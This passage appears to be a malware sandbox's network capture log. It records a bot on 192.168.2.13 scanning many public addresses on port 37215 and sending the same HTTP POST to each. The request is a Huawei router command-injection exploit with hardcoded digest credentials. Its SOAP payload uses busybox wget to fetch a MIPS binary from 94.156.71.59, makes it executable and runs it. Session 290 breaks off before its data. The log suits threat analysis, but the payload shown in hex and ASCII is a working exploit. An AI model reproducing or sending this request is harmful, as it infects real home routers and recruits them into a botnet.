6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
280	192.168.2.13	41384	156.203.151.228	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.217259884 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
281	192.168.2.13	45262	156.193.239.253	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.218072891 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
282	192.168.2.13	47364	156.60.167.234	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.218889952 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
283	192.168.2.13	46594	41.228.140.97	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.219729900 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
284	192.168.2.13	34654	156.16.252.113	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.220634937 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
285	192.168.2.13	54140	197.225.243.209	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.221508026 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
286	192.168.2.13	57074	41.9.164.177	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.222372055 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
287	192.168.2.13	50042	197.42.26.190	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.223242044 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
288	192.168.2.13	47094	156.137.31.90	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.224097013 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
289	192.168.2.13	55062	197.141.161.30	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.224996090 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
290	192.168.2.13	60486	197.25.198.155	37215

Timestamp	Bytes transferred	Direction	Data
